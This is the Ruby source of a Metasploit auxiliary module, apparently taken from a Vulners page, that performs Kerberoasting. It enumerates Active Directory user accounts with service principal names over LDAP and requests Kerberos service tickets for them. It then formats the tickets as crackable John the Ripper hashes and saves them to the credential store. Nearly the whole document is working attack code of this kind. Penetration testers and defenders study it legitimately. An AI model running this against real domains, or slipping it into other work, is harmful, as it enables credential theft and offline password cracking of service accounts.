##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Kerberos::Client
include Msf::Exploit::Remote::LDAP
include Msf::Exploit::Remote::LDAP::ActiveDirectory
include Msf::Exploit::Remote::LDAP::Queries
include Msf::OptionalSession::LDAP
include Msf::Exploit::Deprecated
moved_from 'auxiliary/gather/get_user_spns'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)',
'Description' => %q{
This module will try to find Service Principal Names that are associated with normal user accounts.
Since normal accounts' passwords tend to be shorter than machine accounts, and knowing that a TGS request
will encrypt the ticket with the account the SPN is running under, this could be used for an offline
bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
This is part of the kerberoast attack research by Tim Medin (@timmedin).
},
'License' => MSF_LICENSE,
'Author' => [
'Alberto Solino', # impacket example
'smashery', # MSF Module
],
'References' => [
['URL', 'https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py'],
['ATT&CK', Mitre::Attack::Technique::T1558_003_KERBEROASTING]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [],
'AKA' => ['GetUserSpns.py', 'get_user_spns']
}
)
)
register_options(
[
OptString.new('TARGET_USER', [ false, 'Specific user to kerberoast' ]),
OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
Msf::OptAddress.new('DomainControllerRhost', [false, 'The resolvable rhost for the Domain Controller'], fallbacks: ['rhost']),
]
)
register_advanced_options(
[
OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),
]
)
end
def run
if datastore['TARGET_USER'].blank?
run_ldap
else
run_user
end
rescue Errno::ECONNRESET
fail_with(Failure::Disconnected, 'The connection was reset.')
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Failure::NoAccess, e.message)
rescue Net::LDAP::Error => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
def verify_option(opt)
value = datastore[opt]
if session.nil? && value.blank?
fail_with(Msf::Module::Failure::BadConfig, "You must set the '#{opt}' option when running the module without a pre-existing LDAP session.")
end
end
def verify_options
%w[LDAPDomain LDAPUsername LDAPPassword].each { |opt| verify_option(opt) }
end
def run_user
verify_options
user = datastore['TARGET_USER']
realm = user_object = nil
ldap_connect do |ldap|
validate_bind_success!(ldap)
realm = adds_get_domain_info(ldap)[:dns_name]
user_object = adds_get_object_by_samaccountname(ldap, user)
end
if user_object.nil?
fail_with(Failure::BadConfig, "User #{user} not found")
elsif user_object[:serviceprincipalname].nil?
fail_with(Failure::BadConfig, "User #{user} has no SPN")
end
begin
jtr = roast(user, user_object[:serviceprincipalname].first, realm: realm)
jtr_format = Metasploit::Framework::Hashes.identify_hash(jtr)
report_hash(jtr, jtr_format, realm: realm)
print_good("Success: \n#{jtr}")
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
print_error("#{user} reported as kerberoastable, but received error when attempting to retrieve TGS (#{e})")
end
end
def run_ldap
verify_options
jtr_formats = Set.new
hashes = []
realm = nil
ldap_connect do |ldap|
validate_bind_success!(ldap)
realm = adds_get_domain_info(ldap)[:dns_name]
run_builtin_ldap_query('ENUM_USER_SPNS_KERBEROAST', ldap: ldap) do |result|
spn = result.serviceprincipalname[0]
username = result.samaccountname[0]
begin
jtr = roast(username, spn, realm: realm)
hashes.append(jtr)
jtr_format = Metasploit::Framework::Hashes.identify_hash(jtr)
jtr_formats.add(jtr_format)
report_hash(jtr, jtr_format, realm: realm)
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
print_error("#{username} reported as kerberoastable, but received error when attempting to retrieve TGS (#{e})")
end
end
end
if hashes.empty?
print_error('No hashes were obtained from kerberoasting.')
return
end
print_good("Success: \n#{hashes.join("\n")}")
if jtr_formats.length > 1
print_warning('NOTE: Multiple encryption types returned - will require separate cracking runs for each type.')
print_status('To obtain the crackable values for a particular type, run `creds`:')
jtr_formats.each do |format|
print_status("creds -t #{format} -O #{datastore['RHOST']} -o <outfile.(jtr|hcat)>")
end
end
end
def roast(roasted, spn, realm:)
components = spn.split('/')
fail_with(Failure::UnexpectedReply, "Invalid SPN: #{spn}") unless components.length == 2
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
name_string: components
)
dc_rhost = datastore['DomainControllerRhost']
dc_rhost ||= session.client.peerhost if session
username = session ? session.client.username : datastore['LDAPUsername']
password = session ? session.client.password : datastore['LDAPPassword']
authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(
host: dc_rhost,
realm: realm,
username: username,
password: password,
framework: framework,
framework_module: framework_module,
ticket_storage: kerberos_ticket_storage
)
# Get a TGT - allow getting from cache
options = {
cache_file: datastore['LDAP::Krb5Ccname']
}
credential = authenticator.request_tgt_only(options)
now = Time.now.utc
expiry_time = now + 1.day
ticket = Rex::Proto::Kerberos::Model::Ticket.decode(credential.ticket.value)
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
type: credential.keyblock.enctype.value,
value: credential.keyblock.data.value
)
tgs_options = {
pa_data: []
}
tgs_ticket, = authenticator.request_service_ticket(
session_key,
ticket,
realm.upcase,
username,
offered_etypes,
expiry_time,
now,
sname,
tgs_options
)
format_tgs_rep_to_john_hash(tgs_ticket, roasted)
end
def report_hash(hash, jtr_format, realm:)
dc_rhost = datastore['DomainControllerRhost']
dc_rhost ||= session.client.peerhost if session
service_data = {
address: dc_rhost,
port: 88,
service_name: 'kerberos',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: jtr_format,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: realm
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def offered_etypes
Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['LDAP::KrbOfferedEncryptionTypes'])
end
attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation